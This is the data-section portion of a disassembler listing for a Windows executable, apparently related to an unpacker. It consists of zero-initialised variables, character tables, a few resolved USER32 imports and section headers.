dword_43CAF0	dd 0							; sub_40891C:loc_408C4Bw ...
dword_43CAF4	dd 0							; sub_4095A9+84r
dword_43CAF8	dd 0							; sub_4095A9:loc_409659r
dword_43CAFC	dd 0							; sub_4095A9+B8r
dword_43CB00	dd 0							; sub_4095A9:loc_40968Dr
dword_43CB04	dd 0							; sub_4095A9+ECr
dword_43CB08	dd 0							; sub_40891C+8D1w ...
dword_43CB0C	dd 0							; sub_4095A9+120r
dword_43CB10	dd 0							; sub_4095A9:loc_4096F5r ...
dword_43CB14	dd 0							; sub_4095A9+154r
dword_43CB18	dd 0							; sub_4095A9:loc_409729r ...
dword_43CB1C	dd 0							; sub_4095A9+188r
dword_43CB20	dd 0							; sub_4095A9:loc_40975Dr
dword_43CB24	dd 0							; sub_4095A9+1BCr
dword_43CB28	dd 0							; sub_4095A9:loc_409791r
dword_43CB2C	dd 0							; sub_4095A9+1F0r
dword_43CB30	dd 0							; sub_4095A9:loc_4097C5r
dword_43CB34	dd 0							; sub_4095A9+224r
dword_43CB38	dd 0							; sub_4095A9:loc_4097F9r
dword_43CB3C	dd 0							; sub_4095A9+258r
dword_43CB40	dd 0							; sub_4095A9:loc_40982Dr
dword_43CB44	dd 0							; sub_4095A9+28Cr
dword_43CB48	dd 0							; sub_4095A9:loc_409861r
dword_43CB4C	dd 0							; sub_4095A9+2C0r
dword_43CB50	dd 80h dup(0)	dword_43CD50	dd 4 dup(0)	dword_43CD60	dd 0							; sub_40A5C5+54r ...
dword_43CD64	dd 0							; sub_40A5C5+37r ...
dword_43CD68	dd 0							; sub_40A71A+83o
dword_43CD6C	dd 0							; sub_40A71A+11Bw
dword_43CD70	dd 0Dh dup(0)						; sub_40A71A:loc_40A857o
dword_43CDA4	dd 0							; sub_40A5C5+ECr ...
dword_43CDA8	dd 0Eh dup(0)	dword_43CDE0	dd 1000h dup(0)						; sub_40B118o ...
dword_440DE0	dd 0Dh dup(0)						; sub_40B118+Eo ...
dword_440E14	dd 0		dword_440E18	dd 0							; sub_40AF80+44r ...
		dd 5 dup(0)
dword_440E30	dd 0							; sub_40CD3A+B6Br
		dd 2D9h	dup(0)
dword_441998	dd 0							; sub_40AF80+2Do ...
		dd 7Fh dup(0)
dword_441B98	dd 0							; sub_414F15+3Aw ...
dword_441B9C	dd 0							; sub_4076CB+6Dr ...
dword_441BA0	dd 0							; sub_414DDA+45w ...
dword_441BA4	dd 0							; sub_405A96+7Ew ...
dword_441BA8	dd 0							; sub_407EA5+53r ...
dword_441BAC	dd 0							; sub_4071B6+11Fw ...
byte_441BB0	db 0			; DATA XREF: sub_40CA58+91o
					; sub_40CD3A+318Dr ...
		align 4
		dd 0EE7h dup(0)
dword_445750	dd 95CEh dup(0)	dword_46AE88	dd 0							; sub_40C574+47w ...
		align 10h
dword_46AE90	dd 0		dword_46AE94	dd 20h dup(0)						; sub_40C574+447o ...
dword_46AF14	dd 10h dup(0)						; sub_40CD3A+8D4o
dword_46AF54	dd 24h dup(0)	dword_46AFE4	dd 0							; sub_40C574+45Ew ...
dword_46AFE8	dd 0				dd 2 dup(0)
dword_46AFF4	dd 0		dword_46AFF8	dd 0							; sub_40CD3A+268r
byte_46AFFC	db 0			; DATA XREF: sub_40CBBE+28r
					; sub_40CBBE+30o
byte_46AFFD	db 3 dup(0)		; DATA XREF: sub_40282F+9Fo
dword_46B000	dd 0							; sub_40C574+412r ...
dword_46B004	dd 0							; sub_40CD3A+878r
dword_46B008	dd 18h dup(0)						; sub_412D95+131o ...
dword_46B068	dd 8 dup(0)						; sub_413B27+A5o
dword_46B088	dd 0							; sub_41503B+19o
dword_46B08C	dd 77h dup(0)	dword_46B268	dd 0							; sub_413112+4Dr ...
		align 10h
dword_46B270	dd 18h dup(0)						; sub_4139F3+12Do
dword_46B2D0	dd 80h dup(0)						; sub_413053+7Do ...
byte_46B4D0	db 0			; DATA XREF: sub_413112+29r
					; sub_413112+34w
		align 8
dword_46B4D8	dd 80h dup(0)						; sub_413369+88o ...
dword_46B6D8	dd 80h dup(0)						; sub_412C6C+50o ...
dword_46B8D8	dd 80h dup(0)	byte_46BAD8	db 0			; DATA XREF: sub_414CD9+64r
					; sub_414CD9+92w
		align 10h
dword_46BAE0	dd 0				align 8
dword_46BAE8	dd 0							; sub_41697B+A4w
		align 10h
word_46BAF0	dw 0			; DATA XREF: sub_41697B+55r
					; sub_41697B+9Ao
word_46BAF2	dw 0			; DATA XREF: sub_41697B+48r
		db 2 dup(0)
word_46BAF6	dw 0			; DATA XREF: sub_41697B+3Br
word_46BAF8	dw 0			; DATA XREF: sub_41697B+2Er
word_46BAFA	dw 0			; DATA XREF: sub_41697B+21r
		align 10h
dword_46BB00	dd 0							; sub_416B3F+91w
dword_46BB04	dd 0							; sub_416CDE:loc_416D5Aw ...
dword_46BB08	dd 0							; sub_4185EB:loc_418685w ...
dword_46BB0C	dd 0		dword_46BB10	dd 0A28h	dword_46BB14	dd 501h		dword_46BB18	dd 5		dword_46BB1C	dd 1		dword_46BB20	dd 1							; sub_41D170+91w
dword_46BB24	dd 8A1400h						; sub_40C574+307r ...
		dd 0
dword_46BB2C	dd 8A1428h						; sub_41FCDD+9r ...
dword_46BB30	dd 0		dword_46BB34	dd 0							; sub_4200AB+4r ...
		dd 0
off_46BB3C	dd offset aCM_unpackerPac ; DATA XREF: sub_41D170+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_46BB44	db 0			; DATA XREF: sub_417869+2Dw
					; sub_41DA17+5r
		align 4
dword_46BB48	dd 1		dword_46BB4C	dd 1							; sub_417869+8Bw
dword_46BB50	dd 0							; sub_41D0B7:loc_41D0C9r ...
		align 8
dword_46BB58	dd 0		dword_46BB5C	dd 0				dd 0
dword_46BB64	dd 0							; sub_41737F:loc_41749Br ...
dword_46BB68	dd 0		dword_46BB6C	dd 0							; sub_419A6F+2Dw ...
dword_46BB70	dd 0							; sub_41A9A5+1Ar ...
byte_46BB74	db 0			; DATA XREF: sub_41A8A1+3r
					; sub_41A8A1+98r ...
		align 4
dword_46BB78	dd 0							; sub_41AA83+21w ...
byte_46BB7C	db 0			; DATA XREF: sub_41AA83+51w
		align 10h
dword_46BB80	dd 0							; sub_41B054+3Ar ...
dword_46BB84	dd 0							; sub_41B054+43r ...
dword_46BB88	dd 0							; sub_41AE20+5r
dword_46BB8C	dd 0		dword_46BB90	dd 1							; sub_41C639+4Cw ...
		dd 2 dup(0)
dword_46BB9C	dd 0							; sub_417033+9Dr ...
		dd 3 dup(0)
dword_46BBAC	dd 0							; sub_417A19+BFr ...
		dd 0
dword_46BBB4	dd 1							; sub_41C9F6+4w ...
dword_46BBB8	dd 0							; sub_41CEDB+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41D170:loc_41D187o
					; .text:off_46BB3Co
		align 4
		dd 3Ah dup(0)
dword_46BCC0	dd 1							; sub_41D3BD+23w ...
dword_46BCC4	dd 0		dword_46BCC8	dd 0							; sub_4188A0+154w ...
dword_46BCCC	dd 1							; sub_41DA93:loc_41DAFDw
dword_46BCD0	dd 0				align 8
word_46BCD8	dw 0			; DATA XREF: sub_41E67B+1Ao
					; sub_41E67B+46r
byte_46BCDA	db 0			; DATA XREF: sub_41E67B+39r
		align 4
dword_46BCDC	dd 7 dup(0)	dword_46BCF8	dd 0							; sub_41E67B+5Co
dword_46BCFC	dd 0		dword_46BD00	dd 0		dword_46BD04	dd 0		dword_46BD08	dd 77C2807Ch						; sub_41E79E+38r ...
		align 10h
dword_46BD10	dd 0							; sub_41EA02+63w ...
		align 8
dword_46BD18	dd 0							; sub_41EA02+46r
dword_46BD1C	dd 10h dup(0)	word_46BD5C	dw 0			; DATA XREF: sub_41EC60+A8r
word_46BD5E	dw 0			; DATA XREF: sub_41EA02+54r
					; sub_41EC60+DBr ...
word_46BD60	dw 0			; DATA XREF: sub_41EC60+CAr
word_46BD62	dw 0			; DATA XREF: sub_41EC60+D3r
					; sub_41EC60:loc_41ED52r
word_46BD64	dw 0			; DATA XREF: sub_41EC60+C0r
word_46BD66	dw 0			; DATA XREF: sub_41EC60+B8r
word_46BD68	dw 0			; DATA XREF: sub_41EC60+B0r
word_46BD6A	dw 0			; DATA XREF: sub_41EC60+9Er
dword_46BD6C	dd 0		dword_46BD70	dd 10h dup(0)	word_46BDB0	dw 0			; DATA XREF: sub_41EC60+46r
word_46BDB2	dw 0			; DATA XREF: sub_41EA02:loc_41EA79r
					; sub_41EC60+78r ...
word_46BDB4	dw 0			; DATA XREF: sub_41EC60+67r
word_46BDB6	dw 0			; DATA XREF: sub_41EC60+70r
					; sub_41EC60:loc_41ECE4r
word_46BDB8	dw 0			; DATA XREF: sub_41EC60+5Dr
word_46BDBA	dw 0			; DATA XREF: sub_41EC60+55r
word_46BDBC	dw 0			; DATA XREF: sub_41EC60+4Dr
word_46BDBE	dw 0			; DATA XREF: sub_41EC60+3Er
dword_46BDC0	dd 0		dword_46BDC4	dd 0							; sub_41EA02:loc_41EB4Er ...
dword_46BDC8	dd 0		dword_46BDCC	dd 0		; resolved to->USER32.MessageBoxA					; sub_41EF8E+2Ew ...
dword_46BDD0	dd 0		; resolved to->USER32.GetActiveWindow					; sub_41EF8E:loc_41EFDDr
dword_46BDD4	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_41EF8E+60r
dword_46BDD8	dd 0		dword_46BDDC	dd 0							; sub_41FB6B+6Do
dword_46BDE0	dd 0							; sub_41FB6B+44o
dword_46BDE4	dd 0							; sub_41FB6B+37o
dword_46BDE8	dd 0							; sub_41FB6B+51o
		align 10h
dword_46BDF0	dd 0							; sub_420119+48w ...
byte_46BDF4	db 0			; DATA XREF: sub_404EA5r sub_404EA5+9w ...
		align 4
dword_46BDF8	dd 8A27A0h						; sub_418A10+14r ...
		align 10h
dword_46BE00	dd 400h	dup(0)						; .text:0043AB10o
dword_46CE00	dd 200h							; sub_418769+56r ...
		dd 7 dup(0)
dword_46CE20	dd 8A0650h						; sub_41C178+75r ...
dword_46CE24	dd 3Fh dup(0)	dword_46CF20	dd 20h							; sub_41C251+Cr ...
dword_46CF24	dd 4E4h							; sub_41C85D+65w ...
		align 10h
dword_46CF30	dd 3 dup(0)						; sub_41C85D+171o ...
dword_46CF3C	dd 0							; sub_41C85D+15Dw ...
byte_46CF40	db 0			; DATA XREF: sub_41CA9C:loc_41CBA8w
					; sub_41CA9C:loc_41CBC5w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_46D040	db 0			; DATA XREF: sub_41C85D+5Co
					; sub_41C85D+AFo ...
byte_46D041	db 0			; DATA XREF: sub_4171E8+5Dr
					; sub_41C85D+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_46D144	dd 0							; sub_41C85D+12Bw ...
dword_46D148	dd 0							; sub_41931A+5r ...
dword_46D14C	dd 0							; sub_418CE8+25Ar ...
dword_46D150	dd 0							; sub_418CE8+311w ...
dword_46D154	dd 0							; sub_418CE8+22Dr ...
dword_46D158	dd 0							; sub_418CBDr ...
dword_46D15C	dd 0							; sub_418CBD+8r ...
dword_46D160	dd 0							; sub_41737F+5Cr ...
dword_46D164	dd 8A0000h						; sub_415C9B+5Ar ...
dword_46D168	dd 1		dword_46D16C	dd 142340h						; sub_41D05F+Fr ...
dword_46D170	dd 1							; sub_41FCDDr
dword_46D174	dd 1							; sub_41CC21+11w ...
dword_46D178	dd 8A2718h						; sub_416663:loc_4166A5r ...
dword_46D17C	dd 8A2718h						; sub_416663+Cr ...
byte_46D180	db 0			; DATA XREF: sub_4209C4+15r
					; sub_4209C4+1Ew
		align 1000h
_text		ends

; Section 3. (virtual address 0006F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0006F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 46F000h
		align 2000h
_idata2		ends


		end start